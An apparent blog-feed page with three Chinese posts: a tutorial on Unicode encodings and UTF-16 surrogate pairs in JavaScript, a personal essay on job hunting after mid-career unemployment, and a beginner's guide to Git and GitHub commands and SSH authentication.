在ASCII字符集标准中,码点范围从 0000 0000 ~ 1111 1111(2进制) ;而在Unicode字符集标准中,码点范围从 U+0000 ~ U+10FFFF(16进制)

10FFFF转换为10进制是数字:1,114,111。可以看出,Unicode 能够表示的字符集非常庞大,而为了更方便表达,Unicode的码点范围以16进制形式呈现。

那么对于Unicode的理解是否可以像ASCII字符集那样,一一对应去理解呢?

在本文,对于理解字符集的映射作用是可以这样思考的。但是,为了后续理解JS存储字符的规则,我们还需要继续深挖。请先思考以下问题:

1. 计算机存储器的基本存储单位是什么?

2. ASCII字符集是定长编码,其每个码点对应的字符在内存中固定占一个字节。Unicode字符集的中一个码点对应的字符应该占几个字节呢?

3. Unicode字符集中的码点数量如此庞大,如果每个码点都用固定字节数来表示,会带来什么问题?

回答在文末

二.Unicode字符集的编码格式

初步理解了:字符-数字映射 的规则,我们还需要理清楚计算机内部如何将字符转为二进制数字,这个过程称之为编码。

ASCII字符集采用固定1字节的编码方式。但是这个方式如果运用到Unicode字符集中,事情就变得糟糕了。假设Unicode的编码长度是固定的,那么意味着其编码的字节数(长度)会由最大的码点决定,而U+10FFFF(21位二进制)这个码点转化为二进制,在计算机中一共要占据 3 个字节,即 2^24 。由于编码长度固定,那么U+0000这个码点就也需要使用 3 个字节来表示。

是不是发现了问题?许多字符的码点用不着占3个字节,如果Unicode采用定长的编码格式,那么就会造成内存空间浪费,而内存空间又是十分昂贵的。

因此Unicode字符集标准采用变长和定长相结合的编码规则,提供了UTF-8、UTF-16、UTF-32的编码格式,用于不同情况的字符编码。

其中:

  • UTF-8(不定长):对于ASCII字符,每个字符只占用1个字节;对于其他字符,根据需要占用2到4个字节。这种设计使得UTF-8在大多数情况下比UTF-16和UTF-32更节省空间,尤其是在文本主要由ASCII字符组成的情况下。
  • UTF-16(不定长):对于BMP内的字符,每个字符占用2个字节;对于非BMP字符,每个字符占用4个字节。
  • UTF-32(定长):每个字符总是占用4个字节,无论字符是否复杂。这种设计虽然简单,但在大多数实际应用中会导致显著的空间浪费。

BMP:指的是基本多语言平面(Basic Multilingual Plane),是Unicode字符集的内容。简单了解一下:BMP的编码范围是从U+0000到U+FFFF(65535),从U+D800到U+DFFF之间的码点区段用于UTF-16编码中的代理对机制。

三.码点和码元

由于Unicode字符集的编码格式的特殊性,还需要增加一个码元的概念。

上面我们已经说过,字符对应的唯一数值即是码点(Code Point)。对于ASCII来说,简单的映射集让其中字符的码点就能作为编码的唯一形式,即字符的唯一标识符。

例如:

  • 拉丁字母“A”的Unicode码点是U+0041(16进制)。
  • 表情符号“😊”的Unicode码点是U+1F600(16进制)。

对于Unicode形式的编码对象(字符),其数据在内存的表现单位就是码元。由于是存储概念,我们常说一个码元多少位(bit),例如:

  • 在UTF-8中,一个码元是8位。
  • 在UTF-16编码中,一个码元是16位。
  • 在UTF-32中,一个码元是32位。

又或者这样说:在UTF-16的编码格式下,一个字符由n个码元构成,每个码元占2个字节。

讨论一下码点和码元的关系

他们的中间点是字符,码点是字符的抽象(数值)表示,码元是字符的内存表示。使用Unicode字符集标准编码时,会根据不同的编码格式(UTF-8/UTF-16/UTF-32),将字符对应的码点编码成一个或者多个码元。

示例

假设我们有一个表情符号😊,其Unicode码点是U+1F600,采用不同的编码格式编码:

  • UTF-8:会用4个8位码元(4个字节)来表示这个码点:F0 9F 98 80,即1个码元一个字节。
  • UTF-16:因为这个码点超出了基本多语言平面(BMP)最大码点能够表示的范围(65535),所以需要用2个16位(4个字节)的码元(代理对)来表示:D83D DE00(后文会提到如何计算),即一个码元2字节。
  • UTF-32:只需要1个32位的码元(4个字节)来表示这个码点:0001F600,即1个码元4字节。

四、JS中的字符

Javascript中采用Unicode字符集作为映射标准,并且采用UTF-16的编码格式对字符进行编码,即每个码元占16位(2个字节)。16位能够表示65535个字符,刚好涵盖了基本多语言平面(BMP)内的所有字符。

image.png

正常情况下,每一个码元都能够对应字符串String的一个字符,这样的特点也是String.prototype.length属性设计的一个依据。

没错!字符串的.length属性表达的是字符串在内存中码元的个数,一个码元2字节。

例如:

console.log("".length); //0
console.log("novalic".length); //7
console.log("掘金".length); // 2
console.log("😄".length); //2

其他的都不难理解,而其中́😄字符占两个码元,这种非BMP字符(对应码点值超过U+FFFF,后面简称辅助字符)都需要使用超过1个码元来表示,这里需要2个码元,这2个码元被称为代理对。

也就是说,在UTF-16编码格式下,需要两个码元表示的字符采用代理对的形式表达。

对于😄,其码点为'0x1f604',因为已经超过BMP字符的范围0xFFFF,属于辅助字符,因此需要将其使用代理对来表示。

具体来说,辅助字符码点范围是从U+10000到U+10FFFF。UTF-16将这个范围的码点映射到U+D800到U+DFFF之间的代码单元上,具体映射方式如下:

  1. 高代理项(High Surrogate) :范围是U+D800到U+DBFF,用于表示辅助字符码点的高10位。
  2. 低代理项(Low Surrogate) :范围是U+DC00到U+DFFF,用于表示辅助字符码点的低10位。

还是以😄为例,其码点为'0x1f604':

  • 减去U+10000,剩余U+0F604
  • 分为高10位:0x03E6;低10位:0x0004
  • 高代理项:0x03E6 + 0xD800 = 0xD83D
  • 低代理项:0x0004 + 0xDC00 = 0xDE04
  • 最终形成代理对 D83D DE04

检验:

image.png

JS提供了相关方法能够对字符进行编码和解码,在ES6以前,字符串的 charCodeAt()  方法返回一个整数,表示给定索引处的 UTF-16 码元,其值介于 0 和 65535 之间。

charCodeAt() 方法总是将字符串当作 UTF-16 码元 序列进行索引,因此它可能返回单独代理项(lone surrogate)。如果要获取给定索引处的完整 Unicode 码点,应当使用 codePointAt() 方法。

例如:

const c = '😄'console.log(c.charCodeAt(0).toString(16)); //D83D,对比之前的图可知道这只是第一个码元的值
console.log(c.codePointAt(0).toString(16)); //1F604

codePointAt()方法是ES6新增的一个方法,用于返回字符串给定位置的码点值,能够正确处理包括辅助平面(需要2个码元表示的字符)在内的Unicode字符。

看到这,咱应该就明白了字符在JS中的存储方式:

  • 大多数字符采用单码元存储。
  • 辅助字符采用双码元存储。

五、JS中对字符串的操作

前面的理论很枯燥,还是得来点实际需求,比如说:

  • 如何在JS中判断一个字符是否是BMP字符(一个码元能够表达)。
    //得到该字符的码点,看其是否小于65535(10进制)即可。
   function is16BitChar(char,index=0){
       return char.codePointAt(index) <= 0xffff;
   }
  • 如何计算一个字符串的实际字符个数(包含辅助字符的字符串)
    function charsCount(str){
        let count = 0;
        for(let i = 0 ; i < str.length ; i++){
            if(!is16bitChar(str,i)){//如果不是单码元字符,则跳过一个索引
                i++;
            }
            count++;
        }
        return count;
    }

其实一般的for循环是索引码元序列,所以对于占据两个码元的字符(辅助字符)来说,需要整体看来两个码元。

  • 其他有关JS中字符的处理方式。
    • 使用for...of遍历能够准确获取到每个双码元字符,因为字符串的构造对象是可迭代的,每次遍历以码点为单位,将可能的双码元当整体进行处理,这是字符串中可迭代对象的默认行为。

    • Array.from和...(扩展运算符)也是以码点为基础操作字符串对象。

    • for...in是以代码单元(码元)为索引。

六、组合字符

除了BMP字符(单码元)和辅助字符(双码元),还有一类组合字符,例如:🧑🏽‍🚒,👩‍❤️‍👨。

其是由多个码元组合而成:

console.log("🧑🏽‍🚒".length); //7

🧑🏽‍🚒 有4个部分:

  1. 🧑 - 一个人(2码元)
  2. 🏽 - 皮肤颜色(2码元)🧑🏽‍
  3. 🚒 - 消防车(2码元)
  4. 连接符 0x200D(1码元)

它们之间通过零宽度连接符(ZWJ)连接在一起,形成一个逻辑上的单个表情符号。

image.png

这种字符使用单纯的codePointAt(index)是没办法获取到正确码点值的,需要对这个字符进行遍历,没错,因为这种多码元字符只是逻辑上是一个整体,实际上并不是。

换句话来说,其不是简单的辅助字符,所以最外层表现形式不是以代理对为基础的,是更加复杂的形式。

不过我们依旧可以通过JS操作来验证上面的结果:

let str = "🧑🏽‍🚒";
const codeUnits = [];
for (const element of "🧑🏽‍🚒") {
    codeUnits.push(element.codePointAt(0).toString(16));
}
console.log(codeUnits);//[ '1f9d1', '1f3fd', '200d', '1f692' ];
//上面除了连接符,其余都是占据2码元的码点值,代表辅助字符,可拆分为具体的代理对形式。

这里的到了内部的码点值,继续将数组中的辅助字符码点值,分解为单码元,注意对非辅助字符的过滤。

//处理内部的双码元字符
const perChars = [];
codeUnits.forEach((item) => {
    let char = String.fromCodePoint('0x'+item);
        //不是零宽字符
    if(!is16BitChar(char)){
        //分别获取辅助字符码点的两个码元数据
        perChars.push([char.charCodeAt(0),char.charCodeAt(1)]);
    }
})

perChars.map((item) => {
    console.log(item[0].toString(16),item[1].toString(16));
})

/*
d83e ddd1
d83c dffd
d83d de92
*/

console.log('\ud83e\uddd1');//🧑
console.log('\ud83c\udffd');//🏽,这里显示有问题,但是结果是对的
console.log('\ud83d\ude92');//🚒

这是我们人为拆分组合字符(多码元字符)的步骤:

  • 得到字符所占码元个数,如果是多码元字符。
  • 使用for...of迭代组合字符得到每一部分值。
  • 对辅助字符(双码元字符)继续拆分,得到第一、第二个码元的内容。

当处理这样的组合字符时,JavaScript的迭代器(包括for...of循环、Array.from()、扩展运算符...等)不能够正确地将其识别成一个整体,例如之前的方法charsCount("🧑🏽‍🚒"),得到的结果是:4。这是因为之前那个方式最多只能计算双码元字符。

不过在表现形式上考虑,现代浏览器和JavaScript引擎实现了Unicode标准中的图形聚类算法(Grapheme Cluster Algorithm),该算法定义了如何将字符组合视为逻辑单元,也就是🧑🏽‍🚒这部分在逻辑上是一个整体,不过图形聚类算法的具体内容等用上了再学吧。

到这,差不多了。

tips:

在JS中,单码元和双码元的字符都只对应了一个码点,而组合字符严格来说不算是一个真正的字符,其表现成一个字符只不过是因为特殊的处理手段。所以我们主要学会使用for...of,codePointAt()等手段处理好单码元和双码元字符即可。

问题相关

1. 计算机存储器的基本存储单位是什么?

字节

2. ASCII字符集是定长编码,其每个码点对应的字符在内存中固定占一个字节。Unicode字符集的中一个码点对应的字符应该占几个字节呢?

应该根据编码格式决定,UTF-8的一个码点占1-4字节,UTF-16的一个码点占2-4字节,UTF-32的一个码点固定占4字节。

3. Unicode字符集中的码点数量如此庞大,如果每个码点都用固定字节数来表示,会带来什么问题?

会导致浪费内存空间

参考

相关术语:String - JavaScript | MDN

图片资来源:Yanni4Night

by Novalic at January 19, 2025 07:36 AM

juejin career

中年失业,求职难度指数增加,如何破局

1. 失业后第一次工作机会

刚失业时,并没有急着去找工作,因为拿了N+1补偿,有弹药,同时对自由职业充满憧憬,觉得别人自由职业能干成,自己也能干成。

离职后半年,老同事主动联系我想给介绍一个工作:

外包合并.png

大家也看到了,工作内容和之前一样,区别是这次只能以外包身份入职。

最终我没有去,倒不是因为外包待遇低,当时从其他同事处了解到薪酬大概18K~20K每月、13薪,而现在最新入职外包的同事做开发,15K * 13,每况愈下。

没去的原因:

1)当时自由职业搞得如火如荼,尽管仍然没变现,但对未来充满信心。

2)弹药还够支撑一阵子。

3)家里意见还不是很大,不像现在家人、特别是我老婆天天催我去找工作。

4)之前的工作有时候很忙,压力很大,经常到夜里,周末加班,曾经一度想辞职。

而现如今,因为长期没有收入,孩子的教育成本,赡养父母的开销不小,倒觉得先有个工作保证收入来源,自由职业徐徐图之才不失是比较稳妥的办法。

至于当初的这个外包工作现在是否还有机会?也许有,不过基于上述最后一点,想先尝试找找其他工作。

2. 最近的求职状态

最近开始找工作,源于我妈24年末生病住院,加上后续的疗养成本,需要一些钱,同时孩子的教育成本上,虽然孩子拿了三年高中奖学金,免了近18W的学费,但我老婆坚持要他上课外辅导班,一年也是大几万,这样算下来,后续可能将入不敷出。

中年人的生活压力就是上有老、下有小,父母如果不生病还好,否则这个开销就算有医保,也是不小的。

所以就找了几个同事内推,而这个所谓内推也是推给外包,想要找到正式岗几乎是不可能的,目前大多内推都还在进行中,基本口径都是年底比较忙,要等等。

在这期间好几次打车,我都会跟司机聊天,了解下他们的收入和工作时间,实在不行就只能先跑滴滴了,因为送外卖基本不可行,倒不是说太累的缘故,主要要赶时间送达,导致违反交通规则的太多,闯红灯随时可见,太危险,这个行业交通事故率恐怕是最高的。

滴滴收入以南京为例,了解到如果每天跑十二、三个小时,月净收入能到七、八千,跑十五小时以上,月净收入可以上万,现在房地产不景气,不少司机都是以前搞房产销售的,以此过渡,等待下一个契机。

3. 最近一次面试

掘金上有篇帖子讨论关系重要还是能力重要,对于从业一、二十年的人,有没有能力?但还不是在失业后很难找到工作。

这次工作面试机会其实很意外,也是之前同事推的,不过之前我并没有想过找他,有一次他在小群里说要来南京,我当时在老家照顾生病的老妈,就说来不了,然后提到了失业,他就主动问过失业了为啥不告诉他,然后就帮我找工作,然后有了这次面试机会。

按照我当前的条件,人到中年,学历一般,尽管有大厂经验,简历发出去也属于秒被pass的那种,这次面试HR都不可置信的问我:“你之前是H的正式员工?他们招这种学历的人?”。不过,我的确是H的正式员工。

为啥会有公司面试我?因为内推我的这个同事现在是某市银行的IT老总,面试的这家公司是他们银行IT系统的供应商,他联系了该公司董事长,董事长找了区总,三天之内便安排了HR面试。

相比其他同事的内推几周还没有一点音讯,切身体会到社会关系是多么重要!

4. 破局之道

4.1 多尝试,把不可能变为可能

有时候困难都是自己想象的,和实际差距很大,只有你争取之后才知道真正会是什么结果,这里分享几个工作经历。

很多年前,我的第一份IT工作,当时互联网萧条开始,公司要大量裁员,我也在名单内,领导找我谈话,说我能力不行,要我离职,因为没干几个月,试用期都没过,也没站稳脚跟,而且第一份工作就这么不顺利,当时听了心情极度失落,自信心大受打击,尽管如此,也只能默默接受。

到了吃中午饭时,我座在工位上,人力资源的一个老头热心的叫我去吃饭(当时公司包午餐,都是送到公司大家一起吃;说是老头,其实年纪不算特别大,就是头有点秃了),几个同事也热情的打招呼,就觉得十分留恋这里,非常不愿离开,脑子里就想着他们都没放弃我,我为啥要放弃自己。

于是我就去找领导谈话,说我并非能力不行,而是学习资源少,同事之间也不愿意指导交流(因为都在试用期,大家是潜在竞争对手),反正就态度诚恳地解释了一通,最后领导就同意先留下来再观察观察,后来又有几个同事被离职,但是领导一直没有再跟我提要我离职这件事。

第二次是网上求职Z公司,Z公司是全球500强,以当时我的条件入职有困难,邮件发送简历后也是石沉大海,很久没有回应,我也没报什么希望。过了一段时间,我又刷到他们的招聘信息,看着招聘条件其实跟我都很契合,我就想既然满足条件为啥不招我,然后我就给HR又发了一封邮件,大致意思是我有相关工作经验,能力非常之匹配,你们可以面试了再决定要不要我,结果过了几天他们就安排了面试,最终也进了该公司。

虽然现在的大环境决定找工作难度比以前增加了很多,但是也别放弃,要多尝试,很多时候你以为的困难其实不是困难,只有试过之后才知道。

4.2 多利用自己的资源

人和人之间的竞争优势有自我认知、信息差、拥有的资源.....等等。

你曾经的同事,同学,朋友都是你的资源,这么多年他们都有自己的发展,你觉得很难办的事情,对他们而言或许很简单,所以有啥事情,可以多找他们聊聊,不要先入为主的认为他们帮不了你,也不要不好意思开口。

当然,利用人际关系,平时就要注意维护关系,如果很久没联系,一开口就要别人帮忙,如果你没有先给好处,恐怕别人也未必会当回事。

4.3 提前防患于未然,提升抗危机能力

有工作的时候,因为来钱容易,很多人会过于追求享受,除了买房、买车,花的钱有很大一部分是没有必要的,这是我极其深刻的体会。

要想应对未来的危机,有工作时就要规划好存钱,包括孩子教育、赡养父母、未来可能的失业空窗期、孩子以后的结婚费用,日后自己养老钱等等,并且尽可能多。

另外,如果工作之余还有时间,就抽出时间来搞搞副业,增加一些额外收入,被离职后也可以依靠副业维持生活。

5. 其他

最后,欢迎链接我,一起交流自由职业,副业个人成长之类的话题。

这是我离职后做的一些东西,花了不少时间精力,还被我老婆的同事诟病不务正业,没有发挥自身这么多年的从业优势。

scna009lhdro.feishu.cn/docx/CNLcdo…

其实我做这些有几方面原因:

1)副业能做就做

2)对自己或许有帮助,我相信多少还是有点帮助的

3)对孩子教育或许有帮助

by 铿然架构 at January 19, 2025 06:59 AM

juejin freebie

适合0基础萌新体质Github使用攻略

适合0基础萌新体质Github使用攻略

在部署博客的过程中由于对github缺乏使用经验,导致了很多问题。于是决定在现在完成后记录一下github的使用。

前排提示如果你是一个萌新,建议直接看具体工作流示范(从0开始)部分!

2020年GitHub的日志数达到了8.6亿条,活跃代码仓库达到了5,421万个,活跃开发者数达到了1,454万人,拥有超过3,100万开发人员和9,600多万个存储库。

Github和Git的具体概念

  • 首先,github和git是两个不同的概念。GitHub 本身是一个基于web的服务平台,其通过提供git仓库的托管进行服务。而git则是开源的分布式版本控制系统,两者绝对不能混为一谈。

  • git并不是github独有的。包括BitbucketSourceForgeGogsGitbucketGitLabGiteeAzure DevOpsGitea在内的多个平台使用的都是git。

    git的具体概念

    Git 是一个开源的分布式版本控制系统,用于敏捷高效地处理任何或小或大的项目。

    Git 是 Linus Torvalds 为了帮助管理 Linux 内核开发而开发的一个开放源码的版本控制软件。

    Git 与常用的版本控制工具 CVS, Subversion 等不同,它采用了分布式版本库的方式,不必服务器端软件支持。

    • 对象存储:Git使用内容寻址文件系统来存储内容。每个文件和目录都以对象的形式存储,并通过SHA-1哈希值进行索引。

    • 分支管理:在Git中,分支是一个引用(轻量级的分支)或是一个分支对象(重量级的分支)。分支切换实际上是改变当前HEAD指针的位置。

    • 索引(Index):Git的索引是一个准备区,用于暂存即将提交的文件变更。

    • 冲突解决:当两个分支有冲突时,Git会标记出冲突的文件,需要手动解决冲突后才能进行合并。

    • 标签(Tag):用于标记特定的提交,通常用于版本发布。

    • 仓库(Repository):Git用来保存项目文件和版本历史的数据库。每个项目都有一个Git仓库。

    • 提交(Commit):项目文件的一个快照,包括文件的内容和元数据(如作者、日期、提交信息)。

    • 分支(Branch):指向特定提交的可移动的指针,用于隔离开发流程的不同部分。

    • 合并(Merge):将两个或多个不同的开发历史合并在一起。

    • 克隆(Clone):创建一个仓库的副本,包括所有文件和提交历史。

    • 远程仓库(Remote Repository):托管在服务器上的仓库,可以是GitHub、GitLab等。

      github的具体概念

      GitHub是一个面向开源及私有软件项目的托管平台,因为只支持Git作为唯一的版本库格式进行托管,故名GitHub。GitHub拥有1亿以上的开发人员,400万以上组织机构和3.3亿以上资料库。

    • 代码托管:GitHub允许用户托管Git仓库,并提供了一个图形界面来浏览代码、提交历史、分支和标签。

    • 协作工具:GitHub提供了issues(问题跟踪系统)、pull requests(代码审查和合并请求)、wikis(项目文档)和项目看板等工具,以支持团队协作。

    • 社交功能:GitHub有关注(following)、星标(starring)、观察(watching)等社交功能,允许用户跟踪项目和开发者的活动。

    • 集成和自动化:GitHub提供了API和Webhooks,允许开发者集成外部服务和自动化工作流程。

      • 代码审查和合并:通过pull requests,GitHub支持代码审查和讨论,确保代码质量,并简化合并流程。

      Github的使用

      • GitHub允许你创建一个远程库。需要通过git来将本地的库同步到github中。

      • Github允许你提交一个SSH密钥到账号。SSH允许你无需账号密码来同步文件。

      • Github包含一个Issues,用于追踪项目中的错误和功能请求。可以在仓库的页面上找到New issue,填写相关信息后提交。

      • Github允许你通过Pull Requests来请求将某个分支的变更合并到主分支,便于代码审查。在仓库页面,点击"Pull requests",然后点击"New pull request",选择要合并的分支,添加更改说明后提交。

      • Github包含一个Wikis,可以在仓库中托管项目文档。在仓库页面,点击"Wiki"标签,然后点击"Add or edit pages",创建或编辑文档页面。

      • Github包含GitHub Actions可以实现自动化部署和持续集成(CI/CD)。例如在同步仓库时自动更新readme等操作。若要使用,则需在仓库的.github/workflows目录下创建一个YAML文件,定义工作流程和触发条件。

      • Github还包含Stars(点赞/关注)、Forks(克隆)、Watching(订阅)等内容。这是一种用户间的互动。

      • Github可以创建组织,方便同步文件。登录GitHub账户,点击右上角的"+"号,选择"New organization",填写组织信息后创建。在组织的页面,点击"Teams",然后点击"New team",设置团队名称和成员。

      Git的使用

      • git的本地仓库包含三个部分:其一是工作目录,其保存着实际的文件。其二是暂存区,类似于缓存,保存临时改动。其三是HEAD区,指向最后一次提交的结果。

      • git init:初始化一个git仓库。

      • git clone path:克隆一个本地仓库。把path换成具体路径。

      • git clone [url]:克隆一个远程仓库。包含https克隆和SSH克隆。https的链接通常类似于这样:github.com/username/re…。SSH的链接通常类似于这样:git clone git@github.com:username/repository.git。

      • git add <filename>:添加文件到暂存区。如果filename为**.**(就是一个点)就是指当前目录下的所有文件。文件名不添加路径则是当前目录下的文件。当选择的是文件夹会递归的添加其下的所有文件。

        • git add -u:这个命令只添加已经跟踪的文件(即之前已经添加到Git仓库的文件),不包括新文件。
        • git add -A / git add --all:这些命令添加所有变化的文件和新文件。
      • git commit -m "代码提交信息":将改动提交到HEAD。

      • git push origin master:将这些改动推送到远端仓库。其中,origin是远程仓库的默认名称,当你克隆一个远程仓库时,Git 自动将远程仓库的引用设置为 origin。这个名称是可替的。master是提交分支名,可以自行更改。

      • git remote -v:查看远程仓库的URL,origin 会显示在列表中。

      • git remote add new_origin <repository_url>:添加一个新的远程仓库,命名为new_origin

      • master是git的默认分支。

      • git checkout feature_x:切换到某个分支。feature_x是该分支的名称。

      • git checkout -b feature_x:创建并切换到某个分支,feature_x是该分支的名称。

      • git branch -d feature_x:删除某个分支,feature_x是该分支的名称。

      • git push origin <branch>:推送这个分支。没有推送的分支在远程上是不可见的。

      • git pull [remote] [branch]:从远程仓库拉取代码变更,并尝试将这些变更自动合并到当前本地分支。[remote]:这是远程仓库的名称,默认是 originbranch:这是远程仓库中你想要拉取的分支名称。如果你不指定 [remote]branch,Git 会默认拉取 origin 远程仓库中与当前本地分支关联的分支的变更。

      • git merge <branch>:合并一个分支到当前分支。branch是该分支的名称(<>是不要的)。

      • git diff <source_branch> <target_branch>:预览两个分支的差异。

      • git log:获得提交ID。

      • git tag 1.0.0 id:创建一个叫做 1.0.0 的标签。id指提交 ID 的前 10 位字符。

      • git checkout -- <filename>:使用 HEAD 中的最新内容替换掉你的工作目录中的文件。

      • git fetch [remote]:从远程仓库获取数据,并下载远程分支的更新和提交,但不会自动合并这些更改到你的本地分支。

      • git reset [--hard] [<commit>]:重置当前HEAD和索引(暂存区)。[--hard]:这是一个可选的选项,表示重置时连同工作目录一起重置,即放弃所有本地未提交的更改。[<commit>]:这是一个占位符,表示你想要重置到的特定的提交(commit)。可以是一个分支名、标签或者提交的哈希值。

      • gitk:图形化git。

      • git config color.ui true/false开启/关闭彩色输出。

      • git config format.pretty oneline:显示历史记录时,每个提交的信息只显示一行。

      • git add -i:交互式添加文件到暂存区。

    • 具体语法实例:

    • # 初始化一个Git仓库
      git init
      
      # 克隆一个远程仓库到本地
      git clone https://github.com/username/repository.git
      
      # 添加文件到暂存区
      git add index.md
      
      # 添加所有变化的文件和新文件
      git add -A
      
      # 添加已经跟踪的文件(不包括新文件)
      git add -u
      
      # 提交暂存区的更改到本地仓库
      git commit -m "Add index.md with Github usage log"
      
      # 查看远程仓库的URL
      git remote -v
      
      # 添加一个新的远程仓库引用
      git remote add origin https://github.com/username/repository.git
      
      # 推送本地仓库的更改到远程仓库
      git push -u origin master
      
      # 从远程仓库拉取代码变更,并合并到当前本地分支
      git pull origin master
      
      # 合并远程分支的更改到当前分支
      git merge origin/master
      
      # 显示两个分支的差异
      git diff master feature_x
      
      # 查看提交历史
      git log
      
      # 创建一个标签
      git tag 1.0.0 <commit_id>
      
      # 检出标签对应的提交
      git checkout 1.0.0
      
      # 检出HEAD中的最新内容替换工作目录中的文件
      git checkout -- index.md
      
      # 从远程仓库获取数据,但不自动合并
      git fetch origin
      
      # 重置当前HEAD和索引(暂存区)到指定的提交
      git reset --hard <commit_id>
      
      # 重置当前HEAD和索引(暂存区)到远程分支的状态
      git reset --hard origin/master
      
      # 打开图形化Git工具
      gitk
      
      # 开启/关闭彩色输出
      git config --global color.ui true
      
      # 显示历史记录时,每个提交的信息只显示一行
      git config --global format.pretty oneline
      
      # 交互式添加文件到暂存区
      git add -i
      

    身份认证

    • 身份认证主要涉及与远程仓库的交互,例如推送(push)和拉取(pull)代码。在进行这些操作时,会进行身份认证。
    • 在“Settings”页面,选择“Developer settings”。
    • 点击“Personal access tokens”,然后点击“Generate new token”。
    • 选择需要的权限范围,生成个人访问令牌。
    • 复制生成的 PAT 并妥善保管,因为之后无法再次查看完整的 PAT。
      • 生成 PAT 是为了在使用 HTTPS 认证时,可以使用 PAT 代替密码进行身份验证,提高安全性,避免在代码操作过程中频繁输入密码,同时可以为不同的用途生成不同的令牌,便于管理和权限控制。
    • 配置 Git 用户信息
      • 在本地计算机上打开终端或命令行工具.
      • 使用命令 git config --global user.name "Your Name" 设置全局用户名.
      • 使用命令 git config --global user.email "your_email@example.com" 设置全局用户邮箱.
    • 生成 SSH 密钥对(使用 SSH 认证)
      • 生成SSH可以避免每一次登录都要输入账号密码
      • 打开终端,输入命令 ssh-keygen -t rsa -b 4096 -C "your_email@example.com" 生成 SSH 密钥对.
      • 按照提示操作,输入文件保存路径和密码(可选).
      • 生成的公钥文件通常位于 ~/.ssh/id_rsa.pub,私钥文件位于 ~/.ssh/id_rsa.
    • 添加 SSH 公钥到 GitHub
      • 如果不添加,GitHub 无法识别本地计算机的身份,使用 SSH 认证时会出现权限拒绝的错误。
      • 登录 GitHub 账户,点击右上角的头像,选择“Settings”.
      • 在左侧菜单选择“SSH and GPG keys”,点击“New SSH key”.
      • 输入 SSH 密钥的标题,将公钥内容粘贴到“Key”框中,点击“Add SSH key”.
    • 克隆远程仓库
      • 使用 SSH URL 克隆远程仓库,例如 git clone git@github.com:username/repository.git.
      • 在首次克隆时,可能会提示输入 SSH 密钥的密码(如果设置了密码).
    • 推送和拉取代码(使用 SSH 认证)
      • 在本地仓库中进行代码更改后,使用 git push 推送代码到远程仓库.
      • 使用 git pull 从远程仓库拉取代码更新.
      • 由于使用了 SSH 密钥认证,不需要输入用户名和密码.
    • 使用 HTTPS 认证(不推荐)
      • 每次操作都需要输入用户名和密码,增加了操作的复杂性,且在安全性上可能不如 SSH 认证。
      • 使用 HTTPS URL 克隆远程仓库,例如 git clone https://github.com/username/repository.git.
      • 在推送和拉取代码时,输入用户名和密码(或 PAT)进行身份验证.
      • 如果使用 PAT,可以在 Git 命令中输入 usernamePAT 作为凭证.

    具体工作流示范(从0开始)

    • 一、注册及相关准备工作

      • 在具体使用Github前,需要先注册一个账号。在国内由于“多方面”原因可能比较难以登上。如果遇到了无法登上的问题,可以考虑更换浏览器或者使用Watt Toolkit
      • 访问GitHub官网,点击右上角的Sign up按钮,按照提示填写信息(邮箱,密码,用户名)创建一个新的GitHub账户。
      • 登录到GitHub账户后,点击右上角的**+按钮,选择New repository**。
      • 在创建仓库界面,要注意的选项有以下几项,根据自己的需求来决定:
        • Repository name(必填):这个项会决定仓库的名称。
        • Public/Private(默认public):选择可以决定仓库是否公开,也就是别人能不能看到。
        • Add a README file(可选):可以在仓库中加入一个介绍的文本,方便写项目介绍、更新日志之类的东西。
        • Add .gitignore(可选):创建一个上传选择文件,可以在仓库上传时选择性的忽略一部分文件。
        • Choose a license(可选):可以决定别人要怎么对待你这个项目。简单来说可以从以下几个选择一个,具体的可以查Github许可证使用手册中文版
          • MIT许可证:最宽松,只要保留版权和许可声明,就可以随意使用、修改和分发代码,适合希望代码被广泛传播的个人或小项目。
          • Apache许可证:也很宽松,和MIT类似,但多了专利保护条款,适合大型项目,尤其是涉及多个开发者和组织合作的项目。
          • GPL许可证:要求修改后的代码也必须开源,适合希望保持项目开源精神,防止代码被闭源的项目。
          • BSD许可证:比较宽松,允许自由使用和修改代码,但需保留版权声明,适合希望代码能被广泛应用,包括商业用途的项目。
    • 二、本地git下载和配置

      • 通过链接简单安装git到电脑上:git windows版下载地址

      • 配置你的用户名和邮箱,这个会决定你提交更改时显示的用户信息。输入win + R,输入cmd并打开。

      • 在其中输入以下代码。注意将Your Name换成你自己的用户名,your_email@example.com换成你自己的邮箱地址:

        • git config --global user.name "Your Name"
          git config --global user.email "your_email@example.com"
          
    • 三、身份认证

      • 上传代码到仓库时需要身份认证。如果每一次都输入账号密码就很麻烦,所以采用SSH密钥认证来跳过这个步骤。

      • cmd中输入以下片段。将your_email@example.com替换成你在GitHub上注册的邮箱地址:

        • ssh-keygen -t rsa -b 4096 -C “your_email@example.com”
          
      • 登录GitHub,点击右上角头像,选择Settings

      • 在左侧菜单中选择SSH and GPG keys,点击New SSH key

      • Title字段中,为SSH密钥添加名字;在Key字段中,将id_rsa.pub文件的内容复制粘贴进去,然后点击Add SSH key确认添加。

      • 继续在cmd中输入,将Your Name改为你的用户名,将your_email@example.com改为你的邮箱:

        • git config --global user.name "Your Name"
          git config --global user.email "your_email@example.com"
          
    • 四、下载仓库和拉取分支(更改)到本地

      • 打开你要找的仓库,找到界面中的***< > Code***选项,打开复制链接。

      • 打开cmd,输入以下代码,这会将项目下载到指定目录下:

        • cd <你要的具体路径>
          git clone <刚才复制的链接>
          
      • 拉取分支通过以下操作。如果你不知道分支是什么,可以理解为延申出去的不同方面的更改:

        • #打开到指定目录
          cd <仓库路径>
          #切换到你要的指定分支
          git checkout main
          #拉取指定分支
          git pull origin <分支名称>
          #拉取当前分支的最新内容
          git pull
          
    • 五、 上传文件到仓库

      • 首次上传时,打开cmd,执行以下操作:

        • cd <你要上传的文件路径>
          #初始化git,这会创建一个.git隐藏目录,用于存储Git的元数据和对象数据库
          git init
          #创建一个分支,用于提交,并切换到这个分支上
          git checkout -b <分支名称>
          #选择你要上传到的仓库
          git remote add origin <仓库链接>
          #决定要上传的文件
          git add <fileName>
          #如果你希望上传当前目录所有文件,用这个
          git add .
          #先提交到本地仓库上
          git commit -m "提交信息"
          #发送分支到目标仓库
          git push -u origin new-branch-name
          
      • 在要更新时,可以简单的这么做:

        • git add .
          git commit -m "Update"
          git push
          

    总结

    • Git 作为一个开源的分布式版本控制系统,以其高效和灵活性被广泛应用于各种项目中。而 GitHub,作为一个基于 Web 的服务平台,提供了 Git 仓库托管和丰富的协作工具,极大地方便了开发者之间的代码共享和项目管理。
